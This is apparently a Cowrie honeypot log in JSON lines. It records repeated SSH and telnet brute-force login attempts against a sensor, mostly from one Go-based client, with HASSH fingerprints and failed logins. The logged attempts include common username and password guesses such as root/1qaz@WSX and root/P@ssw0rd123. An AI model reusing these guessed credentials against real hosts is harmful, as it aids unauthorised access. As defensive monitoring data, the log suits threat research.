{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:56.660594Z","src_ip":"45.156.87.254","session":"9109971546fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:56.929035Z","src_ip":"45.156.87.254","session":"9109971546fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:36:58.089200Z","src_ip":"45.156.87.254","session":"9109971546fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54438,"dst_ip":"159.203.135.109","dst_port":22,"session":"4116c43be94d","protocol":"ssh","message":"New connection: 45.156.87.254:54438 (159.203.135.109:22) [session: 4116c43be94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:01.459682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:01.465955Z","src_ip":"45.156.87.254","session":"4116c43be94d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52440,"dst_ip":"10.17.0.5","dst_port":23,"session":"05718a8026b0","protocol":"telnet","message":"New connection: 104.245.105.2:52440 (10.17.0.5:23) [session: 05718a8026b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:01.499765Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:01.551287Z","src_ip":"45.156.87.254","session":"4116c43be94d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:01.814757Z","src_ip":"45.156.87.254","session":"4116c43be94d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:02.926123Z","src_ip":"45.156.87.254","session":"4116c43be94d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54448,"dst_ip":"159.203.135.109","dst_port":22,"session":"42cc802ee48a","protocol":"ssh","message":"New connection: 45.156.87.254:54448 (159.203.135.109:22) [session: 42cc802ee48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:06.937651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:06.945759Z","src_ip":"45.156.87.254","session":"42cc802ee48a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:07.028232Z","src_ip":"45.156.87.254","session":"42cc802ee48a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:07.289716Z","src_ip":"45.156.87.254","session":"42cc802ee48a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:08.424555Z","src_ip":"45.156.87.254","session":"42cc802ee48a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34182,"dst_ip":"159.203.135.109","dst_port":22,"session":"05c6702ec312","protocol":"ssh","message":"New connection: 45.156.87.254:34182 (159.203.135.109:22) [session: 05c6702ec312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:12.525897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:12.530481Z","src_ip":"45.156.87.254","session":"05c6702ec312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:12.614602Z","src_ip":"45.156.87.254","session":"05c6702ec312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:12.909823Z","src_ip":"45.156.87.254","session":"05c6702ec312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:14.002439Z","src_ip":"45.156.87.254","session":"05c6702ec312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34196,"dst_ip":"159.203.135.109","dst_port":22,"session":"aff80f288c46","protocol":"ssh","message":"New connection: 45.156.87.254:34196 (159.203.135.109:22) [session: aff80f288c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:17.904907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:17.910080Z","src_ip":"45.156.87.254","session":"aff80f288c46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:17.993884Z","src_ip":"45.156.87.254","session":"aff80f288c46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:18.455723Z","src_ip":"45.156.87.254","session":"aff80f288c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.62991690635681,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:18.825713Z","src_ip":"185.145.252.179","session":"85a442220422","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60180,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c4c43aaad33","protocol":"telnet","message":"New connection: 104.245.105.2:60180 (10.17.0.5:23) [session: 2c4c43aaad33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:19.030181Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:19.542139Z","src_ip":"45.156.87.254","session":"aff80f288c46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40196,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6c41a09a055","protocol":"ssh","message":"New connection: 45.156.87.254:40196 (159.203.135.109:22) [session: f6c41a09a055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:23.847347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:23.855579Z","src_ip":"45.156.87.254","session":"f6c41a09a055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:23.948713Z","src_ip":"45.156.87.254","session":"f6c41a09a055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:24.207038Z","src_ip":"45.156.87.254","session":"f6c41a09a055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:25.298620Z","src_ip":"45.156.87.254","session":"f6c41a09a055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":51370,"dst_ip":"10.17.0.5","dst_port":23,"session":"48df859b9599","protocol":"telnet","message":"New connection: 20.123.41.163:51370 (10.17.0.5:23) [session: 48df859b9599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:26.983686Z"}
{"eventid":"cowrie.session.closed","duration":46.483747482299805,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:27.567036Z","src_ip":"20.123.41.163","session":"ee1f88dec225","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37584,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8d1562259a7","protocol":"ssh","message":"New connection: 45.156.87.254:37584 (159.203.135.109:22) [session: a8d1562259a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:28.772933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:28.789601Z","src_ip":"45.156.87.254","session":"a8d1562259a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:28.867293Z","src_ip":"45.156.87.254","session":"a8d1562259a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:29.189312Z","src_ip":"45.156.87.254","session":"a8d1562259a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:30.285498Z","src_ip":"45.156.87.254","session":"a8d1562259a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37596,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7bd8fa17b13","protocol":"ssh","message":"New connection: 45.156.87.254:37596 (159.203.135.109:22) [session: f7bd8fa17b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:33.732023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:33.740521Z","src_ip":"45.156.87.254","session":"f7bd8fa17b13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:33.824847Z","src_ip":"45.156.87.254","session":"f7bd8fa17b13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:34.203317Z","src_ip":"45.156.87.254","session":"f7bd8fa17b13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:35.290092Z","src_ip":"45.156.87.254","session":"f7bd8fa17b13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.8815860748291,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:35.381212Z","src_ip":"104.245.105.2","session":"05718a8026b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37984,"dst_ip":"159.203.135.109","dst_port":22,"session":"9217b22dd4cc","protocol":"ssh","message":"New connection: 45.156.87.254:37984 (159.203.135.109:22) [session: 9217b22dd4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:37:38.760865Z"}
